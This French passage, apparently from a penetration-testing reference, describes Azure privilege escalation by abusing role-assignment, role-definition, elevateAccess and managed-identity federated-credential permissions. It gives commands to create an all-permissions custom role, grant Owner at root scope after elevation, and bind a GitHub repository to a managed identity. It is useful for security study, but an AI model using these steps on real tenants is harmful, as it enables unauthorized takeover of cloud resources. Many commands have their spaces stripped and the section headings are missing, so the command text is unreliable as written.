Cette permission permet d'assigner des rôles à des principaux sur un champ spécifique, permettant à un attaquant d'escalader les privilèges en s'assignant un rôle plus privilégié :
Cette permission permet de modifier les permissions accordées par un rôle, permettant à un attaquant d'escalader les privilèges en accordant plus de permissions à un rôle qui lui a été attribué.
Créez le fichier role.json avec le contenu suivant :
{"Name":"<name of the role>","IsCustom":true,"Description":"Custom role with elevated privileges","Actions": ["*"],"NotActions": [],"DataActions": ["*"],"NotDataActions": [],"AssignableScopes": ["/subscriptions/<subscription-id>"]}
Puis mettez à jour les autorisations de rôle avec la définition précédente en appelant :
azroledefinitionupdate--role-definitionrole.json
Microsoft.Authorization/elevateAccess/action
Cette autorisation permet d'élever les privilèges et de pouvoir attribuer des autorisations à tout principal pour les ressources Azure. Elle est destinée à être accordée aux administrateurs globaux d'Entra ID afin qu'ils puissent également gérer les autorisations sur les ressources Azure.
Je pense que l'utilisateur doit être Administrateur Global dans Entra ID pour que l'appel d'élévation fonctionne.
# Call elevateazrest--methodPOST--uri"https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"# Grant a user the Owner roleazroleassignmentcreate--assignee"<obeject-id>"--role"Owner"--scope"/"
Cette permission permet d'ajouter des identifiants fédérés aux identités gérées. Par exemple, donner accès à Github Actions dans un dépôt à une identité gérée. Ensuite, cela permet d'accéder à toute identité gérée définie par l'utilisateur.
Exemple de commande pour donner accès à un dépôt dans Github à une identité gérée :
# Generic example:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'# Example with specific data:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'